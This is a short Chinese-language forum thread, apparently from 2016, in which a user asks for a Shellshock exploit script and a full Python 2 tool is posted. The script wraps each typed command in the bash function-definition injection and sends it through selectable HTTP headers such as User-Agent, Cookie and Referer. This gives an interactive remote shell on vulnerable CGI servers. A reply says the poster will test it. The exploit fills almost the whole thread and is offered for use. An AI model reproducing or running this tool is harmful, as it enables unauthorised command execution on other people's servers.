来个shellsock的漏洞利用脚本、
来个shellsock的漏洞利用脚本、:lol :lol :lol #!/usr/bin/env python# -*- coding=utf-8 -*-
#sex8#
import sys
import argparse
import urllib2
def main(args):
try:
while True:
cmd = raw_input('$')
if cmd.strip() == 'exit':
break
injection ="() { :;}; echo \"Content-Type: text/html\"; echo; printf; /bin/bash -c \"" + cmd + "\""
request = urllib2.Request(args.URL)
if args.u:
request.add_header("User-Agent", injection)
if args.a:
request.add_header("Accept", injection)
if args.l:
request.add_header("Accept-Language", injection)
if args.e:
request.add_header("Accept-Encoding", injection)
if args.c:
request.add_header("Cookie", injection)
if args.x:
request.add_header("X-Forwarded-For", injection)
if args.r:
request.add_header("Referer", injection)
result = urllib2.urlopen(request).read()
print result.strip()
except:
print sys.exc_info()
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-u', action='store_true', help=' User-Agent Parameter!!')
parser.add_argument('-a', action='store_true', help=' Accept Parameter !!')
parser.add_argument('-l', action='store_true', help=' Accept-Language Parameter !!')
parser.add_argument('-e', action='store_true', help=' Accept-Encoding Parameter!!')
parser.add_argument('-c', action='store_true', help='Cookie!!')
parser.add_argument('-x', action='store_true', help='X-Forwarded-For Parameter!!')
parser.add_argument("-r", action='store_true', help='Referer parameter!!')
parser.add_argument("URL", help="Shellshock vulnerable URL")
args = parser.parse_args()
main(args)
Ins 发表于 2016-3-31 11:36
#!/usr/bin/env python
# -*- coding=utf-8 -*-
#sex8#
我测试一下。稍等
页:
[1]